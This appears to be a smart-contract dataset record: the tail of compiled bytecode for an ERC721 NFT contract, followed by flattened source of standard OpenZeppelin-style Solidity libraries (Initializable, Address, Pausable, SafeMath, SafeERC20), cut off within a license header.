201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610906565b6000611d9a6121ee565b90506000815111611dba5760405180602001604052806000815250611de5565b80611dc4846121fd565b604051602001611dd5929190612db8565b6040516020818303038152906040525b9392505050565b600d5460ff16611e0e5760405162461bcd60e51b815260040161090690612c27565b60008111611e465760405162461bcd60e51b815260206004820152600560248201526418dbdd5b9d60da1b6044820152606401610906565b600f546000611e558383612d1c565b90507f0000000000000000000000000000000000000000000000000000000000002710811115611eb05760405162461bcd60e51b8152602060048201526006602482015265737570706c7960d01b6044820152606401610906565b60005b83811015611ee557611ec58584611f39565b82611ecf81612d34565b9350508080611edd90612d34565b915050611eb3565b5082600e6000611efd600b546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254611f2c9190612d1c565b9091555050600f55505050565b611f538282604051806020016040528060008152506122fb565b5050565b6001600160a01b038316611fb257611fad81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611fd5565b816001600160a01b0316836001600160a01b031614611fd557611fd5838261232e565b6001600160a01b038216611fec57610a3c816123cb565b826001600160a01b0316826001600160a01b031614610a3c57610a3c828261247a565b6000612064826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166124be9092919063ffffffff16565b805190915015610a3c57808060200190518101906120829190612de7565b610a3c5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610906565b60006001600160a01b0384163b156121e357604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612125903390899088908890600401612e04565b602060405180830381600087803b15801561213f57600080fd5b505af192505050801561216f575060408051601f3d908101601f1916820190925261216c91810190612e41565b60015b6121c9573d80801561219d576040519150601f19603f3d011682016040523d82523d6000602084013e6121a2565b606091505b5080516121c15760405162461bcd60e51b815260040161090690612d66565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506119e0565b506001949350505050565b6060600c805461080e90612ba7565b6060816122215750506040805180820190915260018152600360fc1b602082015290565b8160005b811561224b578061223581612d34565b91506122449050600a83612e74565b9150612225565b60008167ffffffffffffffff81111561226657612266612a83565b6040519080825280601f01601f191660200182016040528015612290576020820181803683370190505b5090505b84156119e0576122a5600183612d4f565b91506122b2600a86612e88565b6122bd906030612d1c565b60f81b8183815181106122d2576122d2612cd1565b60200101906001600160f81b031916908160001a9053506122f4600a86612e74565b9450612294565b61230583836124cd565b61231260008484846120e1565b610a3c5760405162461bcd60e51b815260040161090690612d66565b6000600161233b84610fbd565b6123459190612d4f565b600083815260076020526040902054909150808214612398576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906123dd90600190612d4f565b6000838152600960205260408120546008805493945090928490811061240557612405612cd1565b90600052602060002001549050806008838154811061242657612426612cd1565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061245e5761245e612e9c565b6001900381819060005260206000200160009055905550505050565b600061248583610fbd565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b60606119e0848460008561261b565b6001600160a01b0382166125235760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610906565b6000818152600260205260409020546001600160a01b0316156125885760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610906565b61259460008383611f57565b6001600160a01b03821660009081526003602052604081208054600192906125bd908490612d1c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60608247101561267c5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610906565b843b6126ca5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610906565b600080866001600160a01b031685876040516126e69190612eb2565b60006040518083038185875af1925050503d8060008114612723576040519150601f19603f3d011682016040523d82523d6000602084013e612728565b606091505b5091509150612738828286612743565b979650505050505050565b60608315612752575081611de5565b8251156127625782518084602001fd5b8160405162461bcd60e51b815260040161090691906128a0565b82805461278890612ba7565b90600052602060002090601f0160209004810192826127aa57600085556127f0565b82601f106127c35782800160ff198235161785556127f0565b828001600101855582156127f0579182015b828111156127f05782358255916020019190600101906127d5565b506127fc929150612800565b5090565b5b808211156127fc5760008155600101612801565b6001600160e01b031981168114610eb057600080fd5b60006020828403121561283d57600080fd5b8135611de581612815565b60005b8381101561286357818101518382015260200161284b565b838111156111f75750506000910152565b6000815180845261288c816020860160208601612848565b601f01601f19169290920160200192915050565b602081526000611de56020830184612874565b6000602082840312156128c557600080fd5b5035919050565b6001600160a01b0381168114610eb057600080fd5b600080604083850312156128f457600080fd5b82356128ff816128cc565b946020939093013593505050565b6000806020838503121561292057600080fd5b823567ffffffffffffffff8082111561293857600080fd5b818501915085601f83011261294c57600080fd5b81358181111561295b57600080fd5b86602082850101111561296d57600080fd5b60209290920196919550909350505050565b8015158114610eb057600080fd5b60006020828403121561299f57600080fd5b8135611de58161297f565b6000806000606084860312156129bf57600080fd5b83356129ca816128cc565b925060208401356129da816128cc565b929592945050506040919091013590565b6000602082840312156129fd57600080fd5b8135611de5816128cc565b600080600060608486031215612a1d57600080fd5b8335612a28816128cc565b9250602084013591506040840135612a3f816128cc565b809150509250925092565b60008060408385031215612a5d57600080fd5b8235612a68816128cc565b91506020830135612a788161297f565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060008060808587031215612aaf57600080fd5b8435612aba816128cc565b93506020850135612aca816128cc565b925060408501359150606085013567ffffffffffffffff80821115612aee57600080fd5b818701915087601f830112612b0257600080fd5b813581811115612b1457612b14612a83565b604051601f8201601f19908116603f01168101908382118183101715612b3c57612b3c612a83565b816040528281528a6020848701011115612b5557600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60008060408385031215612b8c57600080fd5b8235612b97816128cc565b91506020830135612a78816128cc565b600181811c90821680612bbb57607f821691505b60208210811415612bdc57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8183823760009101908152919050565b6020808252600890820152671c995d99585b195960c21b604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612d1757612d17612ce7565b500290565b60008219821115612d2f57612d2f612ce7565b500190565b6000600019821415612d4857612d48612ce7565b5060010190565b600082821015612d6157612d61612ce7565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60008351612dca818460208801612848565b835190830190612dde818360208801612848565b01949350505050565b600060208284031215612df957600080fd5b8151611de58161297f565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612e3790830184612874565b9695505050505050565b600060208284031215612e5357600080fd5b8151611de581612815565b634e487b7160e01b600052601260045260246000fd5b600082612e8357612e83612e5e565b500490565b600082612e9757612e97612e5e565b500690565b634e487b7160e01b600052603160045260246000fd5b60008251612ec4818460208701612848565b919091019291505056fea2646970667358221220a2d93125c3bb756a2a22b33423745732078bc98b6d8d3f5675617359d760d81a64736f6c63430008090033
[ 5 ]
0xf2cD0a3c2247C3f1568507DFfFCB07b891C853A4
// SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT /** * Based on https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v3.4.0-solc-0.7/contracts/access/OwnableUpgradeable.sol * * Changes: * - Added owner argument to initializer * - Reformatted styling in line with this repository. */ /* The MIT License (MIT) Copyright (c) 2016-2020 zOS Global Limited Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, 